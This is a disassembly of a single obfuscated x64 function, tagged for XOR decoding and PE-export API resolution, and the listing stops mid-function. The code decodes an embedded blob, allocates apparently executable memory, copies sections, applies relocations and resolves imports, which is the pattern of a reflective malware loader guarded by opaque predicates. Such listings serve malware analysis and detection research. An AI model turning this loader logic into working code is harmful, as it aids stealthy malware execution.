Function at 0x180001060
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x78
cmp dword [0x180020a64], 0xa
jl 0x180001092
mov eax, dword [0x180020a68]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001092
nop word [rax + rax]
jmp 0x180001090
mov dl, byte [section..data]
mov byte [rsp + 0x3c], dl
mov ebp, dword [0x180020a68]
mov ecx, dword [0x180020a64]
lea eax, [rbp - 1]
imul eax, ebp
and eax, 1
cmp ecx, 0xa
jl 0x1800010e8
test eax, eax
je 0x1800010e8
mov ebp, dword [0x180020a68]
mov ecx, dword [0x180020a64]
lea eax, [rbp - 1]
imul eax, ebp
and eax, 1
sete r8b
cmp ecx, 0xa
setl bl
or bl, r8b
nop dword [rax]
test bl, bl
je 0x1800010e0
mov byte [rsp + 0x3c], dl
cmp ecx, 0xa
jl 0x1800010f5
test eax, eax
jne 0x180001220
mov dl, byte [0x180004001]
mov byte [rsp + 0x3d], dl
mov ebp, dword [0x180020a68]
mov ecx, dword [0x180020a64]
lea eax, [rbp - 1]
imul eax, ebp
and eax, 1
cmp ecx, 0xa
jl 0x180001148
test eax, eax
je 0x180001148
mov ebp, dword [0x180020a68]
mov ecx, dword [0x180020a64]
lea eax, [rbp - 1]
imul eax, ebp
and eax, 1
sete r8b
cmp ecx, 0xa
setl bl
or bl, r8b
nop
test bl, bl
je 0x180001140
mov byte [rsp + 0x3d], dl
cmp ecx, 0xa
jl 0x180001155
test eax, eax
jne 0x180001220
mov dl, byte [0x180004002]
mov byte [rsp + 0x3e], dl
mov ebp, dword [0x180020a68]
mov ecx, dword [0x180020a64]
lea eax, [rbp - 1]
imul eax, ebp
and eax, 1
cmp ecx, 0xa
jl 0x1800011a8
test eax, eax
je 0x1800011a8
mov ebp, dword [0x180020a68]
mov ecx, dword [0x180020a64]
lea eax, [rbp - 1]
imul eax, ebp
and eax, 1
sete r8b
cmp ecx, 0xa
setl bl
or bl, r8b
nop
test bl, bl
je 0x1800011a0
mov byte [rsp + 0x3e], dl
cmp ecx, 0xa
jl 0x1800011b1
test eax, eax
jne 0x180001220
mov bl, byte [0x180004003]
mov byte [rsp + 0x3f], bl
mov eax, dword [0x180020a68]
mov edi, dword [0x180020a64]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp edi, 0xa
jl 0x180001208
test edx, edx
je 0x180001208
mov eax, dword [0x180020a68]
mov edi, dword [0x180020a64]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete r8b
cmp edi, 0xa
setl cl
or cl, r8b
nop dword [rax + rax]
test cl, cl
je 0x180001200
mov byte [rsp + 0x3f], bl
cmp edi, 0xa
jl 0x180001222
test edx, edx
je 0x180001222
nop word cs:[rax + rax]
nop dword [rax + rax]
jmp 0x180001220
mov ecx, dword [0x180020a6c]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x180020a70], 0xa
setl dl
or dl, cl
cmp dl, 1
jne 0x180001290
mov esi, dword [rsp + 0x3c]
xor ebp, ebp
lea r12, section..data
nop word cs:[rax + rax]
nop dword [rax]
cmp rsi, rbp
je 0x180001292
mov ecx, ebp
and ecx, 0x3ff
movzx ecx, byte [rcx + r12 + 4]
xor cl, byte [rbp + r12 + 0x404]
xor cl, 0xc
mov byte [rbp + r12 + 0x404], cl
add rbp, 1
test dl, dl
jne 0x180001260
nop
jmp 0x180001290
cmp edi, 0xa
jl 0x1800012b2
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800012b2
nop word cs:[rax + rax]
nop dword [rax]
jmp 0x1800012b0
lea r10, [rsi + r12]
add r10, 0x404
mov r9d, 3
lea r8, [rsp + 0x38]
mov rax, r8
mov rbx, r10
mov cl, byte [r10]
jmp 0x1800012e0
mov cl, byte [rbx]
nop word cs:[rax + rax]
nop
mov byte [rax], cl
mov edx, dword [0x180020a68]
mov edi, dword [0x180020a64]
lea ebp, [rdx - 1]
imul ebp, edx
and ebp, 1
cmp edi, 0xa
jl 0x180001300
test ebp, ebp
jne 0x1800012e0
cmp edi, 0xa
jl 0x18000130d
test ebp, ebp
jne 0x180001550
add rbx, 1
add rax, 1
sub r9, 1
jae 0x1800012d3
cmp dword [0x180020a70], 0xa
jl 0x180001562
mov eax, dword [0x180020a6c]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001562
cmp edi, 0xa
jl 0x180001351
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
jne 0x180001560
mov dl, byte [rsi + r12 + 0x404]
mov byte [rsp + 0x38], dl
mov ebp, dword [0x180020a68]
mov ecx, dword [0x180020a64]
lea eax, [rbp - 1]
imul eax, ebp
and eax, 1
cmp ecx, 0xa
jl 0x1800013a8
test eax, eax
je 0x1800013a8
mov ebp, dword [0x180020a68]
mov ecx, dword [0x180020a64]
lea eax, [rbp - 1]
imul eax, ebp
and eax, 1
sete r9b
cmp ecx, 0xa
setl bl
or bl, r9b
nop dword [rax]
test bl, bl
je 0x1800013a0
mov byte [rsp + 0x38], dl
cmp ecx, 0xa
jl 0x1800013b5
test eax, eax
jne 0x180001540
mov dl, byte [rsi + r12 + 0x405]
mov byte [rsp + 0x39], dl
mov ebp, dword [0x180020a68]
mov ecx, dword [0x180020a64]
lea eax, [rbp - 1]
imul eax, ebp
and eax, 1
cmp ecx, 0xa
jl 0x180001418
test eax, eax
je 0x180001418
mov ebp, dword [0x180020a68]
mov ecx, dword [0x180020a64]
lea eax, [rbp - 1]
imul eax, ebp
and eax, 1
sete r9b
cmp ecx, 0xa
setl bl
or bl, r9b
nop word cs:[rax + rax]
nop dword [rax + rax]
test bl, bl
je 0x180001410
mov byte [rsp + 0x39], dl
cmp ecx, 0xa
jl 0x180001425
test eax, eax
jne 0x180001540
mov dl, byte [rsi + r12 + 0x406]
mov byte [rsp + 0x3a], dl
mov ebp, dword [0x180020a68]
mov ecx, dword [0x180020a64]
lea eax, [rbp - 1]
imul eax, ebp
and eax, 1
cmp ecx, 0xa
jl 0x180001488
test eax, eax
je 0x180001488
mov ebp, dword [0x180020a68]
mov ecx, dword [0x180020a64]
lea eax, [rbp - 1]
imul eax, ebp
and eax, 1
sete r9b
cmp ecx, 0xa
setl bl
or bl, r9b
nop word cs:[rax + rax]
nop dword [rax + rax]
test bl, bl
je 0x180001480
mov byte [rsp + 0x3a], dl
cmp ecx, 0xa
jl 0x180001495
test eax, eax
jne 0x180001540
mov cl, byte [rsi + r12 + 0x407]
mov byte [rsp + 0x3b], cl
mov edx, dword [0x180020a68]
mov edi, dword [0x180020a64]
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
cmp edi, 0xa
jl 0x1800014f8
test eax, eax
je 0x1800014f8
mov edx, dword [0x180020a68]
mov edi, dword [0x180020a64]
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
sete r9b
cmp edi, 0xa
setl bl
or bl, r9b
nop word cs:[rax + rax]
nop dword [rax + rax]
test bl, bl
je 0x1800014f0
mov byte [rsp + 0x3b], cl
cmp edi, 0xa
jl 0x180001501
test eax, eax
jne 0x180001540
mov r9d, 3
mov rax, r8
mov rbx, r10
cmp edi, 0xa
jl 0x1800012d3
lea ecx, [rdx - 1]
imul ecx, edx
mov r9d, 3
mov rax, r8
mov rbx, r10
and ecx, 1
je 0x1800012d3
jmp 0x1800012b0
jmp 0x180001540
jmp 0x180001550
jmp 0x180001560
add r10, 4
mov r9d, dword [rsp + 0x38]
test r9, r9
mov qword [rsp + 0x50], r10
je 0x1800016d0
xor eax, eax
cmp r9d, 0x20
jb 0x1800016ab
lea rdx, [r9 - 1]
cmp rdx, 0x400
jae 0x1800016ab
lea rcx, [rsi + r12]
add rcx, 0x408
lea rdx, [r9 + r12]
add rdx, 4
cmp rcx, rdx
jae 0x1800015cf
lea rcx, [r9 + rsi]
add rcx, r12
add rcx, 0x408
lea rdx, str.TExBzWIEMIgaKpLLXaKOsTqnhJrDfjalUlJswAbqVdlVgjrCWkrmxDUdkQDXXFunsQZLYZiRAsxRJFzCqrHjzdGtLFzxKGqUgeQWwxTBFcncrFphaWmYXSdodkYlnwsaDRSuDutMtoTboBQJyBxHnRKRjmCbmzevRwFsZdymfoOuJdgBvRwAljDbkyIVPjFyeTTgjezKmqKcEITXefcdDWnQvovcTheVmgfPBTKUSPKawJjhvGWvTwqglAKUtUFuMtfiTJytkhDEAqJRzsbyFTrOiIlcdlTHpoVjrJGmFTRmdAdHCKZsIKwfvruQFqbniFsdALcDGEpGjEaHvQORqrluQGWMcinPOKzjtDDRTZegTljwgnESJVqqRQnDobOnIBlhLqgxHRZraspwMOwHRUVedfHlkeOhDCDmTsFTtwJcSPFiEibGIggqoXdQznbtRTZYtVxVGLAKEGRxFptSdMIESopkpUMqwGdzpcFTGJGCoUlLQFoHKlMvrGtVecLqAEMOcjAclVXwSqDnwHmblUCQtEelMllIrejUUagfuBGYiAhqoaeJDrqjpUYBDjBepYQidCXLOOhwVxnEstUckDQXCnsAnaaMZKrEHLzCGxjUMtLpMbZkRrmWlDTcrhVscWmwflnFuXkYiVtBooyAiPXWdlRhosFxrImcoCPYgLyGdwETpCKxLRIkWlTfWMaGQlTEYFhCzRZXmmJSTTSObOMXSIUSbKuTFQrtQCtrrTzOsVEWipPvsjzqykAejALFYQLypVdJIcDeBqjcbyiYYBmxFBjiwlUpOjRCuaPXCgzhjmSfUhXpZbStibEGIKpPeXIFWBKtPYqsIldXugqWvPJFmCiQkLUUCJgLDZvMLZVSnHmROoKFjlhHDDFilSFTbfOpYjDnylrXDnrCueUpBCgtZgwsoXXXVvwrDOqcHmyjFfsnQereJtbKytUpulSQrZpfOMRLgKwQrdOHHvPULePYlyxCUmSeckKcswpRPuHmbRePPnQlFTttYOXWbSx
cmp rcx, rdx
jbe 0x1800015cf
xor eax, eax
jmp 0x1800016ab
mov eax, r9d
and eax, 0xffffffe0
lea rbp, [rax - 0x20]
mov rdx, rbp
shr rdx, 5
add rdx, 1
mov r8d, edx
and r8d, 1
test rbp, rbp
je 0x18000166a
lea rbx, [rsi + r12]
add rbx, 0x438
mov rbp, r8
sub rbp, rdx
xor edi, edi
mov edx, edi
and edx, 0x3c0
movups xmm0, xmmword [rdx + r12 + 4]
movups xmm1, xmmword [rdx + r12 + 0x14]
movups xmm2, xmmword [rbx + rdi - 0x30]
xorps xmm2, xmm0
movups xmm0, xmmword [rbx + rdi - 0x20]
xorps xmm0, xmm1
movups xmm1, xmmword [rbx + rdi - 0x10]
movups xmm3, xmmword [rbx + rdi]
movups xmmword [rbx + rdi - 0x30], xmm2
movups xmmword [rbx + rdi - 0x20], xmm0
lea edx, [rdi + 0x20]
and edx, 0x3e0
movups xmm0, xmmword [rdx + r12 + 4]
xorps xmm0, xmm1
movups xmm1, xmmword [rdx + r12 + 0x14]
xorps xmm1, xmm3
movups xmmword [rbx + rdi - 0x10], xmm0
movups xmmword [rbx + rdi], xmm1
add rdi, 0x40
add rbp, 2
jne 0x180001603
jmp 0x18000166c
xor edi, edi
test r8, r8
mov r10, qword [rsp + 0x50]
je 0x1800016a6
mov edx, edi
and edx, 0x3e0
movups xmm0, xmmword [rdx + r12 + 4]
movups xmm1, xmmword [rdx + r12 + 0x14]
movups xmm2, xmmword [r10 + rdi]
xorps xmm2, xmm0
movups xmm0, xmmword [r10 + rdi + 0x10]
xorps xmm0, xmm1
movups xmmword [r10 + rdi], xmm2
movups xmmword [r10 + rdi + 0x10], xmm0
cmp rax, r9
je 0x1800016d0
lea rdx, [rsi + r12]
add rdx, 0x408
mov ecx, eax
and ecx, 0x3ff
movzx ecx, byte [rcx + r12 + 4]
xor byte [rdx + rax], cl
add rax, 1
cmp rax, r9
jb 0x1800016b6
cmp dword [0x180020a74], 0xa
jl 0x1800016f2
mov eax, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800016f2
nop word [rax + rax]
jmp 0x1800016f0
add rsi, 0x408
movsxd rax, dword [0x180004440]
lea rdi, [rax + r12]
add rdi, 0x404
mov rbp, r10
cmp byte [rbp], 0
lea rbp, [rbp + 1]
jne 0x18000170e
mov r13, rbp
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x18000171b
mov r15, r13
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x180001729
mov qword [rsp + 0x68], r15
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x180001738
mov rbx, r15
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x180001745
mov r14, rbx
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x180001751
mov rcx, rbp
call fcn.180002550
mov r9, rax
cmp dword [0x180020a7c], 0xa
jl 0x180001784
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001ccc
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a84], 0xa
jl 0x1800017b3
mov eax, dword [0x180020a88]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001cce
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rdi
add r8, r9
mov edi, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add rdi, r9
add r10, r9
mov ebp, dword [rdi]
add rbp, r9
mov rdx, r13
nop dword [rax + rax]
movzx ecx, byte [rdx]
movzx eax, byte [rbp]
test cl, cl
je 0x1800017f7
add rdx, 1
add rbp, 1
cmp cl, al
je 0x1800017e0
cmp cl, al
je 0x180001805
add rdi, 4
add r10, 2
jmp 0x1800017d0
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
mov rcx, rbx
call r9
mov r10, rax
cmp dword [0x180020a7c], 0xa
jl 0x180001837
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001cd0
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a84], 0xa
jl 0x180001866
mov eax, dword [0x180020a88]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001cd2
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov edi, dword [r10 + rcx + 0x24]
add rdx, r10
add rdi, r10
mov ebp, dword [rdx]
add rbp, r10
mov rax, r15
nop word cs:[rax + rax]
nop dword [rax + rax]
movzx ebx, byte [rax]
movzx ecx, byte [rbp]
test bl, bl
je 0x1800018a7
add rax, 1
add rbp, 1
cmp bl, cl
je 0x180001890
cmp bl, cl
je 0x1800018b5
add rdx, 4
add rdi, 2
jmp 0x180001879
movzx eax, word [rdi]
mov eax, dword [r8 + rax*4]
add r10, rax
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, r14
mov r8, r14
call r10
mov rcx, qword [rsp + 0x40]
call fcn.180002550
mov r10, rax
cmp dword [0x180020a7c], 0xa
jl 0x18000190d
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001cd4
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a84], 0xa
jl 0x18000193c
mov eax, dword [0x180020a88]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001cd6
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov ecx, dword [r10 + rcx + 0x24]
add rdx, r10
add rcx, r10
mov ebp, dword [rdx]
add rbp, r10
xor edi, edi
nop word cs:[rax + rax]
lea rax, [rsi + rdi]
movzx eax, byte [r12 + rax]
movzx ebx, byte [rbp + rdi]
test al, al
je 0x18000197a
add rdi, 1
cmp al, bl
je 0x180001960
cmp al, bl
je 0x180001988
add rdx, 4
add rcx, 2
jmp 0x18000194f
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rsp + 0x48]
mov edx, dword [rax + 0x50]
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
mov r15, rax
mov eax, dword [0x180020a6c]
mov ecx, dword [0x180020a70]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x180001ce6
test edx, edx
je 0x180001ce6
movsxd rbp, dword [0x180004440]
cmp dword [0x180020a74], 0xa
mov rdx, qword [rsp + 0x50]
mov r15, rdx
jl 0x180001a04
mov eax, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
mov r15, rdx
and ecx, 1
jne 0x180001cd8
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x180001a04
mov rbx, r15
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x180001a11
mov r14, rbx
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x180001a1d
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x180001a27
mov rdi, r14
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x180001a34
mov r13, rdi
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x180001a40
mov rcx, r15
call fcn.180002550
mov r9, rax
cmp dword [0x180020a7c], 0xa
jl 0x180001a74
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001cda
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a84], 0xa
jl 0x180001aa3
mov eax, dword [0x180020a88]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001cdc
mov qword [rsp + 0x40], rbp
add r8, r9
mov r11d, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add r11, r9
add r10, r9
mov edx, dword [r11]
add rdx, r9
mov rbp, rbx
nop word cs:[rax + rax]
nop
movzx ecx, byte [rbp]
movzx eax, byte [rdx]
test cl, cl
je 0x180001ae7
add rbp, 1
add rdx, 1
cmp cl, al
je 0x180001ad0
cmp cl, al
je 0x180001af5
add r11, 4
add r10, 2
jmp 0x180001abb
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
mov rcx, rdi
call r9
mov r10, rax
cmp dword [0x180020a7c], 0xa
jl 0x180001b27
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001cde
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a84], 0xa
jl 0x180001b56
mov eax, dword [0x180020a88]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001ce0
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov edi, dword [r10 + rcx + 0x24]
add rdx, r10
add rdi, r10
mov ebp, dword [rdx]
add rbp, r10
mov rbx, r14
nop word cs:[rax + rax]
nop dword [rax + rax]
movzx eax, byte [rbx]
movzx ecx, byte [rbp]
test al, al
je 0x180001b97
add rbx, 1
add rbp, 1
cmp al, cl
je 0x180001b80
cmp al, cl
je 0x180001ba5
add rdx, 4
add rdi, 2
jmp 0x180001b69
movzx eax, word [rdi]
mov eax, dword [r8 + rax*4]
add r10, rax
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, r13
mov r8, r13
call r10
mov rcx, r15
call fcn.180002550
mov r10, rax
cmp dword [0x180020a7c], 0xa
jl 0x180001bfb
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001ce2
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a84], 0xa
jl 0x180001c2a
mov eax, dword [0x180020a88]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001ce4
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov ecx, dword [r10 + rcx + 0x24]
add rdx, r10
add rcx, r10
mov ebp, dword [rdx]
add rbp, r10
xor edi, edi
nop word cs:[rax + rax]
nop
lea rax, [rsi + rdi]
movzx eax, byte [r12 + rax]
movzx ebx, byte [rbp + rdi]
test al, al
je 0x180001c6a
add rdi, 1
cmp al, bl
je 0x180001c50
cmp al, bl
je 0x180001c78
add rdx, 4
add rcx, 2
jmp 0x180001c3d
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rsp + 0x40]
mov edx, dword [rax + r12 + 0x454]
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
cmp dword [0x180020a74], 0xa
mov r10, qword [rsp + 0x50]
jl 0x1800016f9
mov eax, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800016f9
jmp 0x1800016f0
jmp 0x180001ccc
jmp 0x180001cce
jmp 0x180001cd0
jmp 0x180001cd2
jmp 0x180001cd4
jmp 0x180001cd6
jmp 0x180001cd8
jmp 0x180001cda
jmp 0x180001cdc
jmp 0x180001cde
jmp 0x180001ce0
jmp 0x180001ce2
jmp 0x180001ce4
cmp ecx, 0xa
jl 0x180001cf1
test edx, edx
je 0x180001cf1
jmp 0x180001cef
mov rbp, qword [rsp + 0x48]
lea r9, [rbp + 0x108]
xor r8d, r8d
mov rbp, qword [rsp + 0x48]
movzx ebp, word [rbp + 6]
cmp r8, rbp
jae 0x180001e71
mov esi, dword [0x180020a68]
mov ebx, dword [0x180020a64]
cmp ecx, 0xa
jl 0x180001d3c
test edx, edx
jne 0x180001de6
jmp 0x180001d3c
add r8, 1
cmp ecx, 0xa
jl 0x180001d00
test edx, edx
je 0x180001d00
jmp 0x180001cef
cmp ebx, 0xa
jl 0x180001d50
lea eax, [rsi - 1]
imul eax, esi
and eax, 1
jne 0x180001e6d
lea rdx, [r8 + r8*4]
mov eax, dword [r9 + rdx*8 + 0x10]
test rax, rax
je 0x180001dc0
mov ecx, dword [r9 + rdx*8 + 0xc]
mov edx, dword [r9 + rdx*8 + 0x14]
add rdx, r12
add rdx, 0x404
add rcx, r15
jmp 0x180001d88
add rax, 0xffffffffffffffff
add rdx, 1
add rcx, 1
test rax, rax
je 0x180001dc0
movzx ebx, byte [rdx]
mov byte [rcx], bl
mov esi, dword [0x180020a68]
mov ebx, dword [0x180020a64]
lea edi, [rsi - 1]
imul edi, esi
and edi, 1
cmp ebx, 0xa
jl 0x180001db2
test edi, edi
je 0x180001db2
movzx ebx, byte [rdx]
mov byte [rcx], bl
jmp 0x180001d88
cmp ebx, 0xa
jl 0x180001d77
test edi, edi
je 0x180001d77
jmp 0x180001e6b
mov eax, dword [0x180020a6c]
mov ecx, dword [0x180020a70]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x180001d2d
test edx, edx
je 0x180001d2d
cmp ebx, 0xa
jl 0x180001df6
lea eax, [rsi - 1]
imul eax, esi
and eax, 1
jne 0x180001e6f
lea rdx, [r8 + r8*4]
mov eax, dword [r9 + rdx*8 + 0x10]
test rax, rax
je 0x180001d3c
mov ecx, dword [r9 + rdx*8 + 0xc]
mov edx, dword [r9 + rdx*8 + 0x14]
add rdx, r12
add rdx, 0x404
add rcx, r15
jmp 0x180001e36
add rax, 0xffffffffffffffff
add rdx, 1
add rcx, 1
test rax, rax
je 0x180001d3c
movzx ebx, byte [rdx]
mov byte [rcx], bl
mov esi, dword [0x180020a68]
mov ebx, dword [0x180020a64]
lea edi, [rsi - 1]
imul edi, esi
and edi, 1
cmp ebx, 0xa
jl 0x180001e60
test edi, edi
je 0x180001e60
movzx ebx, byte [rdx]
mov byte [rcx], bl
jmp 0x180001e36
cmp ebx, 0xa
jl 0x180001e21
test edi, edi
je 0x180001e21
jmp 0x180001e69
jmp 0x180001e6b
jmp 0x180001e6d
jmp 0x180001e6f
mov rdx, qword [rsp + 0x48]
mov rbp, qword [rdx + 0x30]
mov rdx, r15
sub rdx, rbp
cmp ecx, 0xa
jl 0x180001e92
lea ebp, [rax - 1]
imul ebp, eax
and ebp, 1
je 0x180001e92
jmp 0x180001e90
mov rbp, qword [rsp + 0x48]
mov esi, dword [rbp + 0xb0]
add rsi, r15
movabs r8, 0x1fffffff8
cmp dword [rsi], 0
je 0x18000202f
mov ebp, dword [rsi + 4]
cmp rbp, 8
jb 0x180001ff9
cmp ecx, 0xa
jl 0x180001ed4
lea ebx, [rax - 1]
imul ebx, eax
and ebx, 1
jne 0x180002027
add rbp, r8
shr rbp, 1
mov r9d, ebp
xor r10d, r10d
cmp r10, r9
je 0x180001ff9
movzx ebx, word [rsi + r10*2 + 8]
mov ebp, ebx
shr ebp, 0xc
mov edi, ebx
and edi, 0xfff
cmp ebx, 0xa000
jae 0x180001f2a
cmp ebp, 3
jne 0x180001fb5
cmp ecx, 0xa
jl 0x180001fc9
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001fee
jmp 0x180001fc9
cmp ebp, 0xa
jne 0x180001fb5
cmp ecx, 0xa
jl 0x180001f47
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000202b
mov ebx, edi
add rbx, r15
mov eax, dword [rsi]
add qword [rax + rbx], rdx
jmp 0x180001f5a
mov eax, dword [rsi]
add qword [rbx + rax], rdx
mov eax, dword [0x180020a6c]
mov ecx, dword [0x180020a70]
cmp ecx, 0xa
jl 0x180001fb5
lea ebp, [rax - 1]
imul ebp, eax
and ebp, 1
je 0x180001fb5
mov eax, dword [rsi]
add qword [rbx + rax], rdx
mov eax, dword [rsi]
add qword [rbx + rax], rdx
cmp dword [0x180020a70], 0xa
jl 0x180001f54
mov eax, dword [0x180020a6c]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001f76
jmp 0x180001f54
add r10, 1
cmp ecx, 0xa
jl 0x180001ee0
test ebp, ebp
je 0x180001ee0
jmp 0x180002027
lea ebp, [rax - 1]
imul ebp, eax
and ebp, 1
cmp ecx, 0xa
jl 0x180001f9e
test ebp, ebp
je 0x180001f9e
jmp 0x180002029
mov eax, dword [rsi]
lea rax, [r15 + rax*4]
add dword [rax + rdi*4], edx
mov eax, dword [0x180020a6c]
mov ecx, dword [0x180020a70]
cmp ecx, 0xa
jl 0x180001fb5
lea ebp, [rax - 1]
imul ebp, eax
and ebp, 1
je 0x180001fb5
mov eax, dword [rsi]
lea rax, [r15 + rax*4]
add dword [rax + rdi*4], edx
jmp 0x180001fc9
lea ebx, [rax - 1]
imul ebx, eax
and ebx, 1
cmp ecx, 0xa
jl 0x18000200b
test ebx, ebx
jne 0x18000202d
mov ebp, dword [rsi + 4]
add rsi, rbp
cmp ecx, 0xa
jl 0x180001eaa
test ebx, ebx
je 0x180001eaa
jmp 0x180001e90
jmp 0x180002027
jmp 0x180002029
jmp 0x18000202b
jmp 0x18000202d
cmp ecx, 0xa
jl 0x180002041
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180002041
jmp 0x18000203f
lea rax, [r15 + 2]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x48]
mov eax, dword [rax + 0x90]
add rax, r15
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov r12d, dword [rax + 0xc]
test r12, r12
je 0x1800024e9
add r12, r15
mov rcx, qword [rsp + 0x40]
call fcn.180002550
mov rdx, rax
cmp dword [0x180020a7c], 0xa
jl 0x18000209d
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800024db
movsxd rax, dword [rdx + 0x3c]
mov ecx, dword [rdx + rax + 0x88]
mov r8d, dword [rdx + rcx + 0x1c]
cmp dword [0x180020a84], 0xa
jl 0x1800020cb
mov eax, dword [0x180020a88]
lea ebp, [rax - 1]
imul ebp, eax
and ebp, 1
jne 0x1800024dd
add r8, rdx
mov esi, dword [rdx + rcx + 0x20]
mov ecx, dword [rdx + rcx + 0x24]
add rsi, rdx
add rcx, rdx
mov ebp, dword [rsi]
add rbp, rdx
mov rdi, r13
movzx eax, byte [rdi]
movzx ebx, byte [rbp]
test al, al
je 0x1800020fb
add rdi, 1
add rbp, 1
cmp al, bl
je 0x1800020e4
cmp al, bl
je 0x180002109
add rsi, 4
add rcx, 2
jmp 0x1800020dc
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add rdx, rax
mov rcx, r12
call rdx
mov r14, rax
mov eax, dword [0x180020a6c]
mov ecx, dword [0x180020a70]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x1800022b4
test edx, edx
je 0x1800022b4
mov rcx, qword [rsp + 0x40]
call fcn.180002550
mov rdx, rax
cmp dword [0x180020a7c], 0xa
jl 0x18000216c
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800024d3
movsxd rax, dword [rdx + 0x3c]
mov ecx, dword [rdx + rax + 0x88]
mov r8d, dword [rdx + rcx + 0x1c]
cmp dword [0x180020a84], 0xa
jl 0x18000219a
mov eax, dword [0x180020a88]
lea ebp, [rax - 1]
imul ebp, eax
and ebp, 1
jne 0x1800024d5
add r8, rdx
mov esi, dword [rdx + rcx + 0x20]
mov ecx, dword [rdx + rcx + 0x24]
add rsi, rdx
add rcx, rdx
mov ebp, dword [rsi]
add rbp, rdx
mov rdi, r13
movzx ebx, byte [rdi]
movzx eax, byte [rbp]
test bl, bl
je 0x1800021ca
add rdi, 1
add rbp, 1
